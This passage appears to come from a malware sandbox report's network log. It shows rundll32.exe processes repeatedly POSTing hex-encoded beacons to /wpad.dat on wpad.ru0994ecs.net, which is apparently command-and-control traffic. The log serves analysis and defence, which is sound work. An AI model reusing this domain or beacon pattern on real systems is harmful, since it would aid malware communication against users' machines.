2024-04-16 13:35:56 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:56 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gpZ4qXBqPxZE4vcMfcjvVPshYK%2Fww2uTeeCgafkNJvan6eD%2Fs0CVHJGar0qUQ%2BwyrZrvcXPJ8qbE2f3If2Iib1gRizIjVgigAjn2%2FKT5NGxWP1b3McPpwvufmOicFK0daZUpz88%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548fb91c327bba-ATL
2024-04-16 13:35:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49753	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:57 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:57 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:57 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Jh7wp4GgquxLbLRA1s81hTdNXeblTBRf2c5M0C9%2FhKl4611Z2u9SNNmMvdldK27qmFtfxSSG6Q%2BHp48ZGm6UZbKOqj7KBZzPJmD3hiMuIhhfxSurrK4Ycw0YnaDVm7xphpCki4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548fc08bc37bc3-ATL
2024-04-16 13:35:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49754	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:01 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:01 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:01 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oMoCc4iQ5HW0HupT7CjxqAAv3Ir5eKF6rjzte95E5J9kHObROuf6eA21%2BkIJUjbAUXJSG2px723OGXWDY1gZo7aNF8p4OvCrcGMf%2FMkm7AVLMR3ieSy5rWxzOQa9etRX%2BenMDhQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548fda6ab21379-ATL
2024-04-16 13:36:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49755	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:01 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:01 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:02 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r9HvKuwUyUZhqI6wRu921AKLYF%2FxK52cC5qd3ny3ChRU%2BKl0zu9Eb7Uzo3w9lC%2B69MsZwhZ1xsU0ZthhI2b9d791VSW5JvX25%2BjTmUkB%2FY0zr4DQEO9GUmxGLjMurjC5GOwYMBE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548fdc8bbdadd7-ATL
2024-04-16 13:36:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49756	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:01 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:01 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:02 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0GYIAA4se%2FjDko%2FHcCdRSDbQkuRi1M4aQDQcnhIjL3Ur%2F3Zw0I770BX1Fkwo4LyScgHgWIY6DmASFcVdrdrIXzWQGtzS3m2WSFwY7%2FBrtaXr8PaxDYmFkLsgLJSi6umbhbJSSro%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548fdd4a277bdc-ATL
2024-04-16 13:36:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49757	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:05 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:05 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:06 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CfCcsQoVfNEVGfSoVcUrcAVUtI9qGZwWWjrTKrTTqb0aoRSNrdmPPSVJVUg4b8I5DIOdPfacaRLcpHqBJtBC8ZJnoWqnHuwO56EMX%2FZKbtXvFhqjIn033P6tXjyM7V9iOpdBXPk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ff65a48b097-ATL
2024-04-16 13:36:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49758	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:06 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:06 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:06 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kwNoyaE1fc%2FvHi4Qn6dxbuV1Abg1d8PGUFMuYoUkhUU0mxRsaYhnZCkcFlJtTr5s0K6aEOJ%2FmU8gc8nZsevp0cXGD%2BWkk%2BmjvLtpvk0wNKCD7aUHwxZEMk7uuFtOhxANtw17u6Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ff77c96adc5-ATL
2024-04-16 13:36:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49759	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:06 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:06 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:06 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QiC7I2%2FG29W5qj6h1KMn3O5%2BeTegSnO8YuFeB4PjMbBL4qWa8vZoH7Tnn2VrxI44gbavGPOVicN%2BNqLMZM1%2BcfF1XbfoTMM8RQtsz91B32haaa1I1Q5Efhq0NtLfqYQ437GsozI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ff92db6672f-ATL
2024-04-16 13:36:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49760	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:07 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:07 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:08 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m51%2FY1TY%2Ff02YjPQJZzBkwWKHxw0YRyudK%2Bkkbnd2j4k%2BmwHczD8OjfZdZinceutRbUGSzeeDZIMUdNsiBGmL3%2Bg%2BXi6aMsGCNelYRb0CC5XIzWsZAXQSTjX9btzBoNcG8Jsgls%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875490015c1453f0-ATL
2024-04-16 13:36:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49761	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:07 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:07 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:08 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9a5RTKNT2KdfNlijpGU1cHz2wWGEgiH1EsQosS3RGxe9p6FJQhsxzTXn%2BTnhYO91XRzu4NSVy554R5Nnh%2FD4ZKnXcKkRQGAZvQN0w6%2BEGODHiv3dZ4damAlf%2F4Owr85GptPCHyk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549002ff35adcf-ATL
2024-04-16 13:36:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49762	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:09 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:09 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:09 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0vPWzXi4ySko1JFTXCWuydOCT9soPX5ZgWBSY23YV0IQ0RPrXRsomqnPxPioybQRh6kn8g7l5TPgFaKXXW%2BVisOXbbl0tkaZsxVJ9O4adwlaru1XvWlqTovyi2YvUhSuyonHosc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754900bbc40b060-ATL
2024-04-16 13:36:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49763	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:09 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:09 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:09 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SwbFAVPKTkQc5pA51FJb8hLDm41In2%2FhuuGWSHaJLlg9nZWUWbqOHchN7BUCRR46P5kkP%2BZQtoRPAUkNfcadQRYK%2Fc1NGNuFqOCMvy9wixu6J5AiCyrORokXt3ssauffNEEeNcw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754900cb9544532-ATL
2024-04-16 13:36:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49764	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:09 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:09 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:09 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XMU%2FLOV7Om6fB0XLFQsH%2FTn1K%2FgZG5ryT5w9Ff3GvOa%2FlFJS3zKDqeKaRedWJGZO%2BBUGvcfpbG6hwiCmskmOKPUjZLmhBjAJnCdAk7%2BXWB7tmO8hVKTxKtMxAuM0cEOOELdspbk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754900d2c32b074-ATL
2024-04-16 13:36:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49766	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
